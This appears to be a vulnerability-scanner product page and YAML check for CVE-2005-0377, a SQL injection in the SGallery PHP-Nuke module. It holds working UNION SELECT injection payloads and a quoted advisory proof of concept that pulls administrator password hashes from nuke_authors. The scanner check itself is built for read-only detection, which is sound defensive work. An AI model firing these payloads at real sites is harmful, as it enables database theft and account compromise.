SGallery — 1 vulnerability check

noctis ships 1 vulnerability check for SGallery, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SGallery imageview.php idimage SQL Injection

CVECVE-2005-0377
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sgallery/CVE-2005-0377.yaml

SGallery 1.01, an image gallery module for PHP-Nuke that was never fixed, pastes the idimage and idalbum parameters of modules/Sgallery/imageview.php, unquoted and unchecked, into the SQL query that loads a picture, without authentication, and returns the selected column as the image, allowing SQL injection (an attacker can read the whole PHP-Nuke database, including the administrator password hashes).

This check requests imageview.php in the module directory and the web root with an idimage (then idalbum) value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the returned image is the product computed by the database, which never appears in the request. On databases without UNION support, it reports a lower-confidence finding when a single quote in idimage produces a database error that a random numeric idimage does not. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/imageview.php?idimage={{sc.q_union}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/imageview.php?idalbum={{sc.q_union}}
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/imageview.php?idimage=1%27
  7. HTTP(S) request GET {{dir}}/imageview.php?idimage={{sc.ctrl}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit for imageview\.php → finding QoD 97: SGallery imageview.php SQL Injection (CVE-2005-0377)
  10. Checks err_hit for imageview\.php, for each of 1 values → finding QoD 75: SGallery imageview.php SQL Injection (CVE-2005-0377)

References:

Feed source — tests/vulnerabilities/sgallery/CVE-2005-0377.yaml
# SGallery (PHP-Nuke module) — imageview.php idimage / idalbum SQL injection — CVE-2005-0377
#
# SGallery 1.01 (Sergey Kiselev, "Simple JPG image gallery" module for PHP-Nuke; never fixed,
# the author did not answer) ships modules/Sgallery/imageview.php, a standalone script that
# loads PHP-Nuke's config.php from $DOCUMENT_ROOT, then runs (waraxe-2005-SA#039)
#     sql_query("select picture from ".$prefix."_SGimages where idimage=".$idimage, $dbi)
# (and the same with _SGalbums / idalbum), register_globals values pasted unquoted, and
# echoes the single returned column as the image body. The advisory's PoC:
#     imageview.php?idimage=-99/**/UNION/**/SELECT/**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1
#
# Detection, per candidate path (module dir in both spellings, under the usual PHP-Nuke
# sub-directories — imageview.php only works there if its $DOCUMENT_ROOT require was
# adapted, as in the advisory's /nuke75/ example — then the web root):
#   (QoD 97) imageview.php?idimage=-1 UNION ALL SELECT CONCAT(0x4e4f43544953,a*b,0x454e44)-- -
#            then the same through idalbum: the image body is NOCTIS<a*b>END, a value
#            computed by the database that never appears in the request (random six-digit
#            a, b). Read-only: no table is selected from, nothing is written.
#   (QoD 75) MySQL 3.x has no UNION: imageview.php?idimage=1' makes the query fail, which
#            shows a MySQL syntax error or PHP's "mysql_fetch_row(): supplied argument is
#            not a valid MySQL result" warning (the script fetches the failed result), while
#            a control request with a random numeric id shows neither.
#
# Better than the source NASL:
#   - the reference check only matches MySQL 3.x/4.0's exact syntax-error text, which
#     PHP-Nuke's sql_layer never prints (it calls @mysql_query): on a real install the only
#     visible error is the fetch warning, and only with display_errors on, so the reference
#     check misses most installs; the UNION proof needs no error display at all;
#   - the computed value cannot come from a page that reflects the request, and the error
#     fallback needs a control request to be clean, so a page that always shows a SQL error
#     is not reported;
#   - the reference check requests imageview.php in the web root / CGI dirs only, never in
#     modules/Sgallery/ where the module installs it; both idimage and idalbum are covered.
#
# Source: OpenVAS/Greenbone NVT pre2008/sgallery_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.16164), GPL-2.0-only; advisory waraxe-2005-SA#039, BID 12249.
uid: 60160797-c574-441f-a814-b9643e340d1f
name: "SGallery imageview.php idimage SQL Injection (CVE-2005-0377)"
description: |
  SGallery 1.01, an image gallery module for PHP-Nuke that was never fixed, pastes the
  idimage and idalbum parameters of modules/Sgallery/imageview.php, unquoted and unchecked,
  into the SQL query that loads a picture, without authentication, and returns the selected
  column as the image, allowing SQL injection (an attacker can read the whole PHP-Nuke
  database, including the administrator password hashes).

  This check requests imageview.php in the module directory and the web root with an
  idimage (then idalbum) value that appends a UNION SELECT of an expression multiplying two
  random numbers. The vulnerability is confirmed when the returned image is the product
  computed by the database, which never appears in the request. On databases without UNION
  support, it reports a lower-confidence finding when a single quote in idimage produces a
  database error that a random numeric idimage does not. No stored data is read and nothing
  is written.
cves: [CVE-2005-0377]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [sgallery, php-nuke, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-0377"
  - "http://www.waraxe.us/advisory-39.html"
  - "https://www.securityfocus.com/bid/12249"

steps:
  # ── Random operands, expected value, payloads ─────────────────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "-1%20UNION%20ALL%20SELECT%20CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)--%20-",
         ctrl: "" + rand_int(100000, 999999) }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-err
    action: set_var
    var_name: err_hit
    var_value: ""

  # ── Per candidate path (loop group) ───────────────────────────────────────
  - id: init-img-resp
    action: set_var
    var_name: img_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/modules/Sgallery", "/modules/SGallery", "/nuke/modules/Sgallery", "/phpnuke/modules/Sgallery", "/html/modules/Sgallery", ""]

  - id: init-alb-resp
    action: set_var
    var_name: alb_resp
    var_value: {status: 0, body: ""}

  - id: init-q-resp
    action: set_var
    var_name: q_resp
    var_value: {status: 0, body: ""}

  - id: init-c-resp
    action: set_var
    var_name: c_resp
    var_value: {status: 0, body: ""}

  - id: union-idimage
    action: http_request
    method: GET
    path: "{{dir}}/imageview.php?idimage={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: img_resp

  - id: check-idimage
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(img_resp.body) == "string" { img_resp.body } else { "" };
      if body.contains(sc.want) { dir + "/imageview.php?idimage" } else { "" }
    store_as: hit

  - id: union-idalbum
    action: http_request
    method: GET
    path: "{{dir}}/imageview.php?idalbum={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && img_resp.status > 0 && img_resp.status != 404'
    store_as: alb_resp

  - id: check-idalbum
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(alb_resp.body) == "string" { alb_resp.body } else { "" };
      if body.contains(sc.want) { dir + "/imageview.php?idalbum" } else { "" }
    store_as: hit

  - id: quote-probe
    action: http_request
    method: GET
    path: "{{dir}}/imageview.php?idimage=1%27"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && err_hit == "" && img_resp.status > 0 && img_resp.status != 404'
    store_as: q_resp

  - id: control-probe
    action: http_request
    method: GET
    path: "{{dir}}/imageview.php?idimage={{sc.ctrl}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && err_hit == "" && q_resp.status > 0'
    store_as: c_resp

  - id: check-error
    action: script
    condition: 'hit == "" && err_hit == ""'
    code: |
      let re = "You have an error in your SQL syntax|mysqli?_fetch_[a-z]+\\(\\)|not a valid MySQL result";
      let qb = if type_of(q_resp.body) == "string" { q_resp.body } else { "" };
      let cb = if type_of(c_resp.body) == "string" { c_resp.body } else { "" };
      if c_resp.status > 0 && egrep(re, qb) != "" && egrep(re, cb) == "" { dir + "/imageview.php" } else { "" }
    store_as: err_hit

  - id: report-union
    action: match
    source: hit
    pattern: "imageview\\.php"
    on_match:
      finding:
        title: "SGallery imageview.php SQL Injection (CVE-2005-0377)"
        description: "An unauthenticated imageview.php request whose id value appends a UNION SELECT multiplying two random numbers returned the product computed by the database as the image: an attacker can read the whole PHP-Nuke database, including the administrator password hashes."
        remediation: "SGallery is no longer maintained and no fixed release exists: remove the modules/Sgallery directory, or cast idimage and idalbum to integers in imageview.php."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit}}=-1 UNION ALL SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44)-- - returned the database-computed value {{sc.want}}"
      stop: true

  # ── Error-based fallback (databases without UNION) ────────────────────────
  - id: report-error
    action: match
    source: err_hit
    pattern: "imageview\\.php"
    condition: 'hit == ""'
    loop:
      var: once
      over: ["once"]
    on_match:
      finding:
        title: "SGallery imageview.php SQL Injection (CVE-2005-0377)"
        description: "A single quote in the idimage parameter of imageview.php made the database query fail (a MySQL error or a failed-result warning is shown), while a random numeric idimage did not: the value is pasted unquoted into the SQL query, so an attacker can inject SQL."
        remediation: "SGallery is no longer maintained and no fixed release exists: remove the modules/Sgallery directory, or cast idimage and idalbum to integers in imageview.php."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{err_hit}}?idimage=1' showed a database error that the control idimage={{sc.ctrl}} did not"

View these feeds on GitHub